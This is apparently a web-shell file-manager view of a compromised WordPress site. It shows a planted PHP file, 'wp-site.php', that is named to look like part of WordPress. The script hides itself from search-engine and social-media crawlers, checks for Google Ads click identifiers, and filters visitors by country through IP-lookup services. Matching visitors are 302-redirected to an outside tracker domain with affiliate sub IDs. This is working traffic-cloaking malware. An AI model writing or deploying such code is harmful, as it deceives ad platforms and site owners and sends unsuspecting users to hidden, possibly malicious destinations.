9B534B8686E580E0E01768F00155B461

at path：ROOT / wp-site.php

run：R W Run

68bf45

DIR

2026-04-08 09:03:42

R W Run

d49d9

DIR

2026-04-08 09:03:42

R W Run

images

DIR

2026-04-08 09:03:42

R W Run

wp-content

DIR

2026-04-08 09:03:42

R W Run

wp-includes

DIR

2026-04-08 09:03:42

R W Run

.htaccess

1.13 KB

2024-08-25 09:03:42

R W Run

error_log

6.95 MB

2026-04-13 21:34:13

R W Run

robots.txt

369 By

2024-06-01 09:03:42

R W Run

wp-site.php

7.62 KB

2026-03-18 00:14:37

R W Run

error_log

📄wp-site.php

<?php

/* =========================
   TOP-LEVEL SETTINGS
========================= */

// Главный файл (куда вести при любых ошибках/блоках)
$MAIN_FILE = __DIR__ . '/index.php';

/* =========================
   LOG SETTINGS
========================= */

// включение/выключение логов по ботам
define('LOG_BOT_ENABLED', false);

// включение/выключение логов по остальным ошибкам
define('LOG_FAIL_ENABLED', false);

// файл логов для ботов
$LOG_FILE_BOT  = __DIR__ . '/bot_block.log';

// файл логов для остальных ошибок
$LOG_FILE_FAIL = __DIR__ . '/failed.log';

/* =========================
   LOG FUNCTION
========================= */

function logFail($reason, $extra = []) {
    global $LOG_FILE_BOT, $LOG_FILE_FAIL;

// определяем, это лог по боту или нет
    $isBot = ($reason === 'BOT_BLOCK');

// если бот, но лог ботов выключен — выходим
    if ($isBot && LOG_BOT_ENABLED !== true) {
        return;
    }

// если не бот, но лог остальных ошибок выключен — выходим
    if (!$isBot && LOG_FAIL_ENABLED !== true) {
        return;
    }

// выбираем нужный файл
    $logFile = $isBot ? $LOG_FILE_BOT : $LOG_FILE_FAIL;

// Собираем полный URL, по которому пришёл запрос
    $scheme  = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
    $host    = $_SERVER['HTTP_HOST']   ?? '';
    $uri     = $_SERVER['REQUEST_URI'] ?? '';
    $fullUrl = $scheme . $host . $uri;

$entry = [
        'time'   => date('Y-m-d H:i:s'),
        'ip'     => $_SERVER['REMOTE_ADDR']     ?? '',
        'ua'     => $_SERVER['HTTP_USER_AGENT'] ?? '',
        'url'    => $fullUrl,
        'ref'    => $_SERVER['HTTP_REFERER']    ?? '',
        'reason' => $reason,
        'query'  => $_SERVER['QUERY_STRING']    ?? '',
        'extra'  => $extra
    ];

file_put_contents(
        $logFile,
        json_encode($entry, JSON_UNESCAPED_UNICODE) . PHP_EOL,
        FILE_APPEND | LOCK_EX
    );
}

/* =========================
   LOCAL CONFIG ONLY
========================= */

$TARGET_DOMAIN     = 'https://ktr.rest/BcHR9P';
$SUB_ID_1          = 'lev';
$SUB_ID_2          = 'zalupin';
$ALLOWED_COUNTRIES = ['DE', 'US', 'CA', 'KZ', 'IT', 'TW'];

/* =========================
   1. BOT BLOCK (СРАЗУ)
========================= */

$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';

if (
    $userAgent === '' ||
    preg_match('/bot|crawl|spider|slurp|google|bing|yandex|duckduck|baidu|facebook|telegram|whatsapp/i', $userAgent)
) {
    logFail('BOT_BLOCK');
    include $MAIN_FILE;
    exit;
}

/* =========================
   2. VALIDATORS (СНАЧАЛА ПАРАМЕТРЫ)
========================= */

function isDigits($value, $min, $max) {
    return is_string($value)
        && ctype_digit($value)
        && strlen($value) >= $min
        && strlen($value) <= $max;
}

function isTmValid($value) {
    return is_string($value)
        && strncmp($value, 'AW-', 3) === 0
        && strlen($value) >= 32
        && strlen($value) <= 42;
}

// Собираем GET-параметры
$gad_campaignid = $_GET['gad_campaignid'] ?? null;
$gad_source     = $_GET['gad_source']     ?? null;
$tm             = $_GET['tm']             ?? null;

$gclid  = $_GET['gclid']  ?? null;
$wbraid = $_GET['wbraid'] ?? null;
$gbraid = $_GET['gbraid'] ?? null;

// 2.1. gad_* + tm ОБЯЗАТЕЛЬНЫ И СНАЧАЛА ПРОВЕРЯЕМ ИХ
if (
    !isDigits($gad_campaignid, 9, 12) ||
    !isDigits($gad_source, 1, 2) ||
    !isTmValid($tm)
) {
    logFail('BASE_PARAMS_INVALID', [
        'gad_campaignid' => $gad_campaignid,
        'gad_source'     => $gad_source,
        'tm'             => $tm
    ]);
    include $MAIN_FILE;
    exit;
}

// 2.2. ОДИН ИЗ TRACKING ПАРАМЕТРОВ
$hasValidTracking = false;

if ($gclid && strlen($gclid) >= 50 && strlen($gclid) <= 105) {
    $hasValidTracking = true;
}
if ($wbraid && strlen($wbraid) >= 105 && strlen($wbraid) <= 135) {
    $hasValidTracking = true;
}
if ($gbraid && strlen($gbraid) >= 105 && strlen($gbraid) <= 135) {
    $hasValidTracking = true;
}

if (!$hasValidTracking) {
    logFail('TRACKING_INVALID', [
        'gclid'  => $gclid,
        'wbraid' => $wbraid,
        'gbraid' => $gbraid
    ]);
    include $MAIN_FILE;
    exit;
}

/* =========================
   3. REAL IP
========================= */

$ip = getUserIp();
if ($ip === '127.0.0.1' || $ip === '') {
    $ip = '8.8.8.8'; // local test / fallback
}

/* =========================
   4. GEO CHECK (ПОСЛЕ ПАРАМЕТРОВ)
========================= */

function getGeoMulti($ip) {
    // список резервных сервисов
    $services = [
        'ip-api' => [
            'url' => "http://ip-api.com/json/%s?fields=countryCode",
            'key' => 'countryCode'
        ],
        'geojs' => [
            'url' => "https://get.geojs.io/v1/ip/country/%s.json",
            'key' => 'country'
        ],
        'ipwhois' => [
            'url' => "http://ipwhois.app/json/%s",
            'key' => 'country_code'
        ]
    ];

foreach ($services as $service) {
        $url = sprintf($service['url'], $ip);

$ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL            => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT        => 2,   // не ждём вечно
            CURLOPT_SSL_VERIFYPEER => false,
        ]);

$response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

if ($response && $httpCode === 200) {
            $data        = json_decode($response, true);
            $countryCode = $data[$service['key']] ?? null;

if ($countryCode && strlen($countryCode) === 2) {
                return strtoupper($countryCode);
            }
        }
    }

return null; // никто не ответил
}

// 1) пробуем взять страну из Cloudflare
$country = $_SERVER['HTTP_CF_IPCOUNTRY'] ?? null;

// 2) если CF нет — идём по списку API
if ($country === null) {
    $country = getGeoMulti($ip);
}

// 3) если так и не смогли определить — логируем, НО НЕ РЕЖЕМ
if ($country === null) {
    logFail('GEO_UNKNOWN', ['ip' => $ip]);
} else {
    // 4) если страна определена и не входит в список — блочим
    if (!in_array($country, $ALLOWED_COUNTRIES, true)) {
        logFail('GEO_BLOCK', ['country' => $country]);
        include $MAIN_FILE;
        exit;
    }
}

/* =========================
   5. DOMAIN
========================= */

$domain = $_SERVER["HTTP_X_FORWARDED_HOST"]
    ?? $_SERVER["HTTP_X_HOST"]
    ?? $_SERVER["HTTP_HOST"]
    ?? $_SERVER["SERVER_NAME"]
    ?? '';

/* =========================
   6. REDIRECT + TAIL
========================= */

$query = $_SERVER['QUERY_STRING'] ?? '';

$finalUrl = $TARGET_DOMAIN;
$finalUrl .= ($query !== '' ? '?' . $query . '&' : '?');

$finalUrl .= 'sub_id_1=' . urlencode($SUB_ID_1)
    . '&sub_id_2=' . urlencode($SUB_ID_2)
    . '&domain=' . urlencode($domain);

header('Location: ' . $finalUrl, true, 302);
exit;